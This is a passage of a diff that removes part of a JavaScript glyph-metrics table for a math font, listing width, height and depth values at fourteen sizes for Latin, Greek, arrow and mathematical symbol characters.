-        [8,20,0],[9,23,0],[10,27,0],[12,32,0],[15,37,0],[17,45,0]
-      ],
-      0x6A: [  // LATIN SMALL LETTER J
-        [3,6,1],[3,8,2],[4,10,2],[4,10,2],[5,12,3],[5,16,4],[7,18,4],[8,22,5],
-        [9,26,6],[10,30,7],[12,35,8],[14,41,9],[17,49,11],[19,59,13]
-      ],
-      0x6B: [  // LATIN SMALL LETTER K
-        [4,5,0],[5,6,0],[6,8,0],[6,8,0],[8,9,0],[9,12,0],[10,14,0],[12,18,0],
-        [15,21,0],[17,24,0],[20,28,0],[24,33,0],[29,39,0],[34,47,0]
-      ],
-      0x6C: [  // LATIN SMALL LETTER L
-        [2,5,0],[3,6,0],[3,8,0],[4,8,0],[4,9,0],[5,12,0],[6,14,0],[7,17,0],
-        [8,20,0],[9,23,0],[11,28,0],[13,33,0],[15,39,0],[18,47,0]
-      ],
-      0x6D: [  // LATIN SMALL LETTER M
-        [6,3,0],[7,4,0],[9,5,0],[10,5,0],[12,6,0],[14,8,0],[16,9,0],[20,11,0],
-        [23,13,0],[27,14,0],[33,17,0],[39,20,0],[46,25,0],[54,30,0]
-      ],
-      0x6E: [  // LATIN SMALL LETTER N
-        [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],
-        [16,13,0],[18,14,0],[22,17,0],[26,20,0],[31,24,0],[36,30,0]
-      ],
-      0x6F: [  // LATIN SMALL LETTER O
-        [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,11,0],
-        [14,13,0],[16,15,0],[19,18,0],[22,21,0],[27,26,0],[31,31,0]
-      ],
-      0x70: [  // LATIN SMALL LETTER P
-        [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[9,12,4],[11,13,4],[13,16,5],
-        [15,19,6],[18,21,7],[21,25,8],[25,29,9],[29,36,11],[35,43,13]
-      ],
-      0x71: [  // LATIN SMALL LETTER Q
-        [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[9,12,4],[11,13,4],[13,16,5],
-        [15,19,6],[18,22,7],[21,26,8],[25,30,9],[30,36,11],[36,43,13]
-      ],
-      0x72: [  // LATIN SMALL LETTER R
-        [3,3,0],[4,5,1],[4,6,1],[5,6,1],[6,7,1],[7,9,1],[8,10,1],[9,12,1],
-        [11,14,1],[12,15,1],[15,18,1],[17,21,1],[21,26,1],[24,30,1]
-      ],
-      0x73: [  // LATIN SMALL LETTER S
-        [3,3,0],[3,4,0],[4,5,0],[5,5,0],[5,6,0],[6,8,0],[7,9,0],[9,11,0],
-        [10,13,0],[12,15,0],[14,18,0],[17,21,0],[20,26,0],[24,31,0]
-      ],
-      0x74: [  // LATIN SMALL LETTER T
-        [3,4,0],[3,6,0],[4,7,0],[4,7,0],[5,9,0],[6,11,0],[7,13,0],[8,16,0],
-        [10,18,0],[11,21,0],[13,25,0],[16,29,0],[19,35,0],[22,42,0]
-      ],
-      0x75: [  // LATIN SMALL LETTER U
-        [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-        [15,13,0],[18,15,0],[22,18,0],[26,21,0],[30,26,0],[36,31,1]
-      ],
-      0x76: [  // LATIN SMALL LETTER V
-        [4,3,0],[5,4,0],[5,5,0],[6,5,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],
-        [15,13,0],[17,14,0],[20,17,0],[24,20,0],[29,25,0],[34,30,0]
-      ],
-      0x77: [  // LATIN SMALL LETTER W
-        [5,3,0],[6,4,0],[7,5,0],[9,5,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],
-        [20,13,0],[23,14,0],[28,17,0],[33,20,0],[39,25,0],[46,30,0]
-      ],
-      0x78: [  // LATIN SMALL LETTER X
-        [4,4,1],[5,5,1],[6,6,1],[7,6,1],[8,7,1],[9,9,1],[11,10,1],[12,12,1],
-        [15,14,1],[17,15,1],[21,18,1],[24,21,1],[29,25,1],[34,30,1]
-      ],
-      0x79: [  // LATIN SMALL LETTER Y
-        [4,4,1],[5,6,2],[5,7,2],[6,7,2],[8,9,3],[9,12,4],[10,13,4],[12,16,5],
-        [15,19,6],[17,21,7],[20,25,8],[24,29,9],[29,36,11],[34,43,13]
-      ],
-      0x7A: [  // LATIN SMALL LETTER Z
-        [3,3,0],[4,4,0],[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],
-        [12,13,0],[14,14,0],[16,17,0],[19,20,0],[23,25,0],[27,29,0]
-      ],
-      0x7B: [  // LEFT CURLY BRACKET
-        [3,7,2],[4,10,3],[5,12,3],[6,12,3],[6,14,4],[8,18,5],[9,20,5],[11,25,6],
-        [12,30,8],[15,35,9],[17,41,11],[21,47,12],[24,56,14],[29,67,17]
-      ],
-      0x7C: [  // VERTICAL LINE
-        [2,7,2],[2,9,2],[2,12,3],[2,12,3],[3,14,3],[3,18,4],[4,21,5],[4,25,6],
-        [5,29,7],[6,34,8],[7,41,10],[8,47,12],[9,56,14],[11,67,17]
-      ],
-      0x7D: [  // RIGHT CURLY BRACKET
-        [3,7,2],[4,10,3],[5,12,3],[6,12,3],[6,14,4],[8,18,5],[9,20,5],[11,25,6],
-        [12,30,8],[15,34,9],[17,42,11],[21,47,12],[24,56,14],[29,67,17]
-      ],
-      0x7E: [  // TILDE
-        [3,1,-1],[4,1,-2],[5,1,-2],[5,1,-2],[6,1,-3],[7,3,-3],[9,4,-4],[10,3,-5],
-        [12,3,-6],[14,4,-7],[17,4,-9],[20,5,-10],[23,6,-12],[28,7,-14]
-      ],
-      0xA0: [  // NO-BREAK SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0xA8: [  // DIAERESIS
-        [3,1,-4],[4,2,-4],[4,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[8,3,-11],[10,3,-14],
-        [12,4,-16],[14,4,-19],[16,5,-22],[19,6,-26],[23,7,-31],[27,8,-37]
-      ],
-      0xAC: [  // NOT SIGN
-        [5,3,0],[6,3,0],[6,4,0],[8,4,0],[9,4,-1],[11,5,-2],[12,6,-1],[15,7,-2],
-        [17,8,-2],[21,10,-3],[24,11,-4],[29,13,-4],[34,16,-5],[41,18,-6]
-      ],
-      0xAF: [  // MACRON
-        [3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[8,1,-10],[9,1,-11],[10,2,-13],
-        [12,3,-15],[15,2,-18],[17,2,-22],[20,3,-26],[24,3,-30],[29,4,-36]
-      ],
-      0xB0: [  // DEGREE SIGN
-        [3,2,-3],[3,2,-4],[4,2,-6],[5,2,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-13],
-        [10,6,-15],[12,7,-17],[14,8,-22],[17,8,-25],[20,10,-30],[24,12,-36]
-      ],
-      0xB1: [  // PLUS-MINUS SIGN
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],
-        [20,20,0],[24,23,0],[29,27,0],[34,31,0],[40,37,0],[48,45,0]
-      ],
-      0xB4: [  // ACUTE ACCENT
-        [3,2,-3],[4,2,-4],[4,3,-5],[5,3,-5],[6,3,-6],[7,4,-8],[8,5,-9],[10,6,-12],
-        [11,7,-14],[13,7,-17],[16,9,-19],[19,10,-23],[22,12,-28],[26,13,-34]
-      ],
-      0xD7: [  // MULTIPLICATION SIGN
-        [5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],
-        [18,14,0],[21,17,0],[25,20,0],[30,23,0],[36,27,-1],[42,33,-1]
-      ],
-      0xF7: [  // DIVISION SIGN
-        [5,4,0],[6,6,0],[8,7,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,15,1],
-        [20,18,1],[24,19,1],[29,23,1],[34,27,2],[40,32,2],[48,39,2]
-      ],
-      0x131: [  // LATIN SMALL LETTER DOTLESS I
-        [2,3,0],[3,4,0],[3,5,0],[3,5,0],[4,6,0],[5,8,0],[5,9,0],[6,11,0],
-        [8,13,0],[9,15,0],[10,18,0],[12,21,0],[15,25,0],[17,30,0]
-      ],
-      0x237: [  // LATIN SMALL LETTER DOTLESS J
-        [3,4,1],[3,6,2],[4,7,2],[4,7,2],[5,9,3],[5,12,4],[7,13,4],[8,16,5],
-        [9,19,6],[10,22,7],[12,26,8],[14,30,9],[17,36,11],[19,44,13]
-      ],
-      0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-        [3,2,-3],[4,3,-4],[4,3,-5],[5,3,-5],[6,3,-7],[7,4,-9],[8,4,-10],[9,5,-13],
-        [11,6,-15],[13,7,-17],[16,7,-21],[18,9,-24],[22,10,-29],[26,12,-35]
-      ],
-      0x2C7: [  // CARON
-        [3,1,-3],[4,1,-5],[4,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[8,3,-10],[9,3,-13],
-        [11,4,-15],[13,5,-17],[16,6,-21],[18,6,-24],[22,8,-29],[26,9,-34]
-      ],
-      0x2C9: [  // MODIFIER LETTER MACRON
-        [3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[8,1,-10],[9,1,-11],[10,2,-13],
-        [12,3,-15],[15,2,-18],[17,2,-22],[20,3,-26],[24,3,-30],[29,4,-36]
-      ],
-      0x2CA: [  // MODIFIER LETTER ACUTE ACCENT
-        [3,2,-3],[4,2,-4],[4,3,-5],[5,3,-5],[6,3,-6],[7,4,-8],[8,5,-9],[10,6,-12],
-        [11,7,-14],[13,7,-17],[16,9,-19],[19,10,-23],[22,12,-28],[26,13,-34]
-      ],
-      0x2CB: [  // MODIFIER LETTER GRAVE ACCENT
-        [3,2,-3],[3,2,-4],[3,3,-5],[4,3,-5],[5,3,-6],[5,4,-8],[6,4,-10],[7,6,-12],
-        [9,7,-14],[10,7,-17],[12,8,-20],[14,10,-23],[17,11,-28],[20,13,-34]
-      ],
-      0x2D8: [  // BREVE
-        [3,2,-3],[4,2,-4],[4,2,-6],[5,2,-6],[6,3,-6],[7,3,-9],[8,4,-10],[10,5,-12],
-        [12,5,-15],[14,6,-17],[16,7,-21],[19,9,-24],[23,10,-29],[27,12,-34]
-      ],
-      0x2D9: [  // DOT ABOVE
-        [3,1,-4],[3,2,-4],[4,2,-6],[4,2,-6],[5,2,-7],[6,3,-9],[7,3,-11],[8,3,-14],
-        [9,4,-16],[11,5,-18],[13,5,-22],[15,6,-26],[18,7,-31],[21,9,-37]
-      ],
-      0x2DC: [  // SMALL TILDE
-        [3,1,-4],[4,1,-5],[5,1,-7],[5,1,-7],[6,1,-8],[7,3,-9],[9,3,-11],[10,3,-14],
-        [12,3,-17],[14,4,-19],[17,4,-23],[20,5,-26],[23,6,-32],[28,7,-38]
-      ],
-      0x393: [  // GREEK CAPITAL LETTER GAMMA
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],
-        [16,20,0],[20,23,0],[23,27,0],[27,32,0],[32,38,0],[39,46,0]
-      ],
-      0x394: [  // GREEK CAPITAL LETTER DELTA
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[14,12,0],[16,14,0],[19,18,0],
-        [22,21,0],[26,24,0],[31,29,0],[37,34,0],[44,40,0],[52,48,0]
-      ],
-      0x398: [  // GREEK CAPITAL LETTER THETA
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,19,1],
-        [20,22,1],[24,25,1],[29,29,0],[34,34,1],[40,41,1],[48,49,1]
-      ],
-      0x39B: [  // GREEK CAPITAL LETTER LAMDA
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[11,12,0],[13,14,0],[16,18,0],
-        [19,21,0],[22,24,0],[26,29,0],[31,34,0],[37,40,0],[44,48,0]
-      ],
-      0x39E: [  // GREEK CAPITAL LETTER XI
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-        [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,38,0],[42,46,0]
-      ],
-      0x3A0: [  // GREEK CAPITAL LETTER PI
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-        [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-      ],
-      0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],
-        [19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,38,0],[44,46,0]
-      ],
-      0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,18,0],
-        [20,21,0],[24,24,0],[29,28,0],[34,33,0],[40,40,0],[48,47,0]
-      ],
-      0x3A6: [  // GREEK CAPITAL LETTER PHI
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],
-        [19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,38,0],[44,46,0]
-      ],
-      0x3A8: [  // GREEK CAPITAL LETTER PSI
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-        [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-      ],
-      0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[14,14,0],[16,18,0],
-        [19,21,0],[23,24,0],[27,29,0],[32,33,0],[38,40,0],[45,47,0]
-      ],
-      0x2002: [  // ??
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2003: [  // ??
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2004: [  // ??
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2005: [  // ??
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2006: [  // ??
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2009: [  // ??
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x200A: [  // ??
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2013: [  // EN DASH
-        [4,1,-1],[5,1,-2],[5,1,-2],[6,1,-2],[7,1,-3],[9,1,-4],[10,1,-5],[12,1,-6],
-        [14,2,-6],[17,3,-8],[20,3,-9],[24,2,-12],[28,3,-14],[33,3,-17]
-      ],
-      0x2014: [  // EM DASH
-        [7,1,-1],[9,1,-2],[10,1,-2],[12,1,-2],[14,1,-3],[17,1,-4],[20,1,-5],[24,1,-6],
-        [28,2,-6],[33,3,-8],[40,3,-9],[47,2,-12],[56,3,-14],[66,3,-17]
-      ],
-      0x2018: [  // LEFT SINGLE QUOTATION MARK
-        [2,2,-3],[2,4,-2],[2,4,-4],[3,4,-4],[3,4,-5],[4,6,-6],[4,7,-7],[5,8,-9],
-        [6,9,-11],[7,11,-12],[8,13,-15],[10,15,-18],[11,18,-21],[14,21,-25]
-      ],
-      0x2019: [  // RIGHT SINGLE QUOTATION MARK
-        [2,3,-2],[2,3,-3],[3,4,-4],[3,4,-4],[3,5,-4],[4,6,-6],[5,7,-7],[5,8,-9],
-        [6,10,-10],[7,11,-12],[9,13,-15],[10,15,-18],[12,18,-21],[14,22,-25]
-      ],
-      0x201C: [  // LEFT DOUBLE QUOTATION MARK
-        [4,2,-3],[4,4,-2],[5,4,-4],[6,4,-4],[7,4,-5],[8,6,-6],[10,7,-7],[11,8,-9],
-        [13,9,-11],[16,11,-12],[19,13,-15],[22,15,-18],[26,18,-21],[31,21,-25]
-      ],
-      0x201D: [  // RIGHT DOUBLE QUOTATION MARK
-        [3,3,-2],[4,3,-3],[4,4,-4],[5,4,-4],[6,5,-4],[7,6,-6],[8,7,-7],[9,8,-9],
-        [11,10,-10],[13,11,-12],[15,13,-15],[18,15,-18],[21,18,-21],[25,22,-25]
-      ],
-      0x2020: [  // DAGGER
-        [3,6,1],[4,8,2],[4,10,2],[5,10,2],[6,12,3],[7,16,4],[8,18,4],[9,23,5],
-        [11,27,6],[13,31,7],[16,37,8],[18,44,11],[22,52,12],[26,62,15]
-      ],
-      0x2021: [  // DOUBLE DAGGER
-        [3,6,1],[4,8,2],[4,10,2],[5,10,2],[6,12,3],[7,16,4],[8,18,4],[10,23,5],
-        [11,27,6],[13,31,7],[16,37,8],[19,43,9],[22,51,11],[26,61,13]
-      ],
-      0x2026: [  // HORIZONTAL ELLIPSIS
-        [8,1,0],[10,2,0],[11,2,0],[13,2,0],[16,2,0],[19,3,0],[22,3,0],[26,3,0],
-        [31,4,0],[36,5,0],[43,5,0],[51,6,0],[61,7,0],[72,9,0]
-      ],
-      0x2032: [  // PRIME
-        [2,4,0],[3,5,0],[3,6,0],[4,6,0],[4,7,-1],[5,9,-1],[6,11,-1],[7,13,-1],
-        [8,15,-1],[9,18,-1],[11,21,-2],[13,24,-2],[15,29,-2],[18,35,-3]
-      ],
-      0x20D7: [  // COMBINING RIGHT ARROW ABOVE
-        [4,2,-3],[4,2,-4],[5,3,-5],[6,3,-6],[7,3,-7],[8,4,-8],[10,5,-9],[11,5,-12],
-        [14,6,-14],[16,7,-17],[18,9,-20],[21,10,-24],[26,12,-28],[30,14,-33]
-      ],
-      0x210F: [  // stix-/hbar - Planck's over 2pi
-        [4,6,1],[5,7,1],[6,7,0],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],
-        [16,21,1],[19,25,1],[22,29,1],[26,34,1],[31,40,1],[37,47,1]
-      ],
-      0x2111: [  // BLACK-LETTER CAPITAL I
-        [5,6,1],[6,7,1],[7,8,1],[8,9,0],[10,11,1],[12,13,1],[14,15,1],[17,18,1],
-        [20,21,1],[23,25,1],[28,29,1],[33,34,1],[39,40,1],[46,48,1]
-      ],
-      0x2113: [  // SCRIPT SMALL L
-        [4,5,0],[4,7,1],[4,8,1],[5,10,1],[6,11,1],[7,13,1],[8,15,1],[10,18,1],
-        [12,21,1],[14,25,1],[16,29,1],[19,34,1],[23,41,2],[27,49,2]
-      ],
-      0x2118: [  // SCRIPT CAPITAL P
-        [5,5,2],[5,6,2],[6,7,2],[8,9,3],[9,10,3],[11,12,4],[13,13,4],[15,16,5],
-        [18,19,6],[21,23,8],[25,27,9],[29,32,11],[35,37,12],[41,45,15]
-      ],
-      0x211C: [  // BLACK-LETTER CAPITAL R
-        [6,5,0],[6,6,0],[7,8,0],[9,9,0],[11,11,1],[13,13,1],[15,16,1],[17,18,1],
-        [21,22,1],[24,25,1],[29,30,1],[34,35,1],[40,41,1],[48,50,2]
-      ],
-      0x2135: [  // ALEF SYMBOL
-        [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],
-        [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-      ],
-      0x2190: [  // LEFTWARDS ARROW
-        [7,5,1],[8,5,0],[10,6,1],[12,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-        [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-      ],
-      0x2191: [  // UPWARDS ARROW
-        [4,7,2],[5,8,2],[5,9,2],[6,12,3],[7,13,3],[9,16,4],[10,18,4],[11,22,5],
-        [13,26,6],[16,30,7],[19,36,8],[22,42,9],[27,50,11],[32,59,13]
-      ],
-      0x2192: [  // RIGHTWARDS ARROW
-        [7,5,1],[8,5,0],[10,7,1],[12,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-        [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-      ],
-      0x2193: [  // DOWNWARDS ARROW
-        [4,7,2],[5,8,2],[5,9,2],[6,12,3],[7,13,3],[9,16,4],[10,18,4],[12,22,5],
-        [14,26,6],[16,30,7],[19,36,8],[23,42,9],[27,50,11],[32,59,13]
-      ],
-      0x2194: [  // LEFT RIGHT ARROW
-        [7,5,1],[8,5,0],[10,7,1],[12,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-        [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-      ],
-      0x2195: [  // UP DOWN ARROW
-        [4,8,2],[5,10,3],[5,11,3],[6,14,4],[7,15,4],[9,18,5],[10,22,6],[12,25,7],
-        [14,30,8],[16,35,9],[19,42,11],[23,49,13],[27,59,16],[32,69,18]
-      ],
-      0x2196: [  // NORTH WEST ARROW
-        [7,7,2],[8,8,2],[10,10,2],[12,12,3],[14,13,3],[16,16,4],[19,19,4],[22,22,5],
-        [27,26,6],[32,31,7],[38,37,8],[45,44,10],[53,52,12],[63,61,13]
-      ],
-      0x2197: [  // NORTH EAST ARROW
-        [7,7,2],[9,8,2],[10,10,2],[12,12,3],[14,13,3],[16,16,4],[19,19,4],[23,22,5],
-        [27,26,6],[32,31,7],[38,37,8],[46,44,10],[54,52,11],[64,61,13]
-      ],
-      0x2198: [  // SOUTH EAST ARROW
-        [7,7,2],[9,8,2],[10,10,3],[12,12,3],[14,13,3],[17,16,4],[19,19,5],[23,23,6],
-        [27,26,6],[32,31,8],[38,37,9],[46,44,11],[54,52,13],[64,61,15]
-      ],
-      0x2199: [  // SOUTH WEST ARROW
-        [7,7,2],[8,8,2],[10,10,3],[12,12,3],[14,13,3],[16,16,4],[19,19,5],[22,23,6],
-        [26,26,6],[32,31,8],[37,37,9],[44,44,11],[53,52,13],[63,61,15]
-      ],
-      0x21A6: [  // RIGHTWARDS ARROW FROM BAR
-        [7,5,1],[8,5,0],[10,7,1],[11,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-        [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-      ],
-      0x21A9: [  // LEFTWARDS ARROW WITH HOOK
-        [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,9,0],[21,11,1],[25,13,1],
-        [30,15,1],[36,18,1],[42,21,1],[50,25,1],[60,30,1],[71,35,1]
-      ],
-      0x21AA: [  // RIGHTWARDS ARROW WITH HOOK
-        [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,9,0],[21,11,1],[25,13,1],
-        [30,15,1],[36,18,1],[42,22,1],[50,25,1],[60,30,1],[71,35,1]
-      ],
-      0x21BC: [  // LEFTWARDS HARPOON WITH BARB UPWARDS
-        [7,3,-1],[8,3,-2],[10,4,-2],[12,4,-2],[14,5,-3],[16,5,-4],[19,6,-4],[22,7,-5],
-        [27,8,-6],[32,10,-7],[37,11,-9],[44,14,-10],[53,17,-12],[63,19,-15]
-      ],
-      0x21BD: [  // LEFTWARDS HARPOON WITH BARB DOWNWARDS
-        [7,3,1],[8,3,0],[10,4,1],[12,4,1],[14,5,1],[16,5,0],[19,7,1],[22,8,1],
-        [27,9,1],[32,10,1],[37,12,1],[44,14,1],[53,16,1],[63,19,1]
-      ],
-      0x21C0: [  // RIGHTWARDS HARPOON WITH BARB UPWARDS
-        [7,3,-1],[8,3,-2],[10,4,-2],[12,4,-2],[14,5,-3],[16,5,-4],[19,6,-4],[22,7,-5],
-        [27,8,-6],[32,10,-7],[37,11,-9],[44,14,-10],[53,17,-12],[63,19,-15]
-      ],
-      0x21C1: [  // RIGHTWARDS HARPOON WITH BARB DOWNWARDS
-        [7,3,1],[8,3,0],[10,4,1],[12,4,1],[14,5,1],[16,5,0],[19,7,1],[22,8,1],
-        [27,9,1],[32,10,1],[37,12,1],[44,14,1],[53,16,1],[63,19,1]
-      ],
-      0x21CC: [  // RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON
-        [7,6,1],[8,6,0],[10,8,1],[12,9,1],[14,11,1],[16,11,0],[19,14,1],[22,17,1],
-        [27,20,1],[32,24,1],[37,28,1],[44,33,1],[53,39,1],[63,45,1]
-      ],
-      0x21D0: [  // LEFTWARDS DOUBLE ARROW
-        [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,11,1],[22,14,1],
-        [27,16,1],[32,20,2],[37,23,2],[44,27,2],[53,31,2],[63,38,3]
-      ],
-      0x21D1: [  // UPWARDS DOUBLE ARROW
-        [4,7,2],[5,8,2],[6,9,2],[7,12,3],[8,13,3],[10,16,4],[12,18,4],[14,22,5],
-        [17,26,6],[20,30,7],[23,36,8],[28,43,10],[32,50,11],[38,59,13]
-      ],
-      0x21D2: [  // RIGHTWARDS DOUBLE ARROW
-        [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,12,1],[22,14,1],
-        [27,16,1],[32,19,1],[37,22,1],[44,26,1],[53,32,2],[63,37,2]
-      ],
-      0x21D3: [  // DOWNWARDS DOUBLE ARROW
-        [5,7,2],[5,8,2],[6,9,2],[7,12,3],[8,13,3],[10,16,4],[12,18,4],[14,22,5],
-        [17,26,6],[20,30,7],[23,36,8],[28,43,10],[32,50,11],[39,59,13]
-      ],
-      0x21D4: [  // LEFT RIGHT DOUBLE ARROW
-        [7,5,1],[9,6,1],[10,7,1],[12,8,1],[14,9,1],[17,10,1],[19,12,1],[23,14,1],
-        [27,16,1],[32,19,1],[38,23,2],[45,27,2],[54,31,2],[64,37,2]
-      ],
-      0x21D5: [  // UP DOWN DOUBLE ARROW
-        [4,8,2],[5,10,3],[6,11,3],[7,14,4],[8,15,4],[10,18,5],[12,22,6],[14,26,7],
-        [17,30,8],[20,35,9],[23,42,11],[28,50,13],[32,58,15],[39,70,18]
-      ],
-      0x2200: [  // FOR ALL
-        [4,6,1],[5,7,1],[6,8,1],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],
-        [16,20,1],[19,24,1],[22,29,1],[26,35,2],[31,41,2],[37,48,2]
-      ],
-      0x2202: [  // PARTIAL DIFFERENTIAL
-        [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,11,1],[10,13,1],[11,15,1],[14,18,1],
-        [16,21,1],[19,25,1],[23,30,1],[27,35,1],[32,42,2],[38,50,2]
-      ],
-      0x2203: [  // THERE EXISTS
-        [4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,10,0],[9,12,0],[10,14,0],[12,16,0],
-        [14,20,0],[17,23,0],[20,28,0],[24,33,0],[28,39,0],[33,46,0]
-      ],
-      0x2205: [  // EMPTY SET
-        [4,7,1],[4,8,1],[5,9,1],[6,12,2],[7,13,2],[8,15,2],[9,18,2],[11,22,3],
-        [13,25,3],[16,29,3],[18,35,4],[22,40,4],[26,48,5],[31,57,6]
-      ],
-      0x2207: [  // NABLA
-        [6,6,1],[7,7,1],[8,8,1],[10,10,1],[11,11,1],[14,13,1],[16,15,1],[19,17,1],
-        [22,20,1],[26,24,1],[31,29,2],[37,34,2],[44,40,2],[52,48,3]
-      ],
-      0x2208: [  // ELEMENT OF
-        [5,5,1],[5,6,1],[6,7,1],[7,8,1],[9,9,1],[10,10,1],[12,12,1],[14,14,1],
-        [16,17,2],[20,20,2],[23,24,2],[27,28,2],[33,33,3],[39,39,3]
-      ],
-      0x2209: [  // stix-negated (vert) set membership, variant
-        [4,7,2],[5,8,2],[6,11,3],[7,12,3],[8,13,3],[10,16,4],[12,20,5],[14,23,6],
-        [16,27,7],[20,32,8],[23,37,9],[27,44,11],[33,52,13],[39,62,15]
-      ],
-      0x220B: [  // CONTAINS AS MEMBER
-        [4,5,1],[5,6,1],[6,7,1],[7,8,1],[8,9,1],[10,10,1],[12,12,1],[14,14,1],
-        [17,17,2],[20,20,2],[23,24,2],[28,28,2],[33,33,3],[39,39,3]
-      ],
-      0x2212: [  // MINUS SIGN
-        [5,1,-1],[6,1,-2],[7,1,-2],[9,1,-2],[10,1,-3],[12,1,-4],[14,2,-4],[17,2,-5],
-        [20,2,-6],[23,2,-7],[28,2,-9],[33,3,-10],[39,3,-12],[46,3,-15]
-      ],
-      0x2213: [  // MINUS-OR-PLUS SIGN
-        [5,6,2],[6,6,2],[8,7,2],[9,8,2],[10,10,3],[12,12,3],[15,14,4],[17,16,4],
-        [20,19,5],[24,23,6],[29,27,7],[34,32,8],[40,38,10],[48,44,11]
-      ],
-      0x2215: [  // DIVISION SLASH
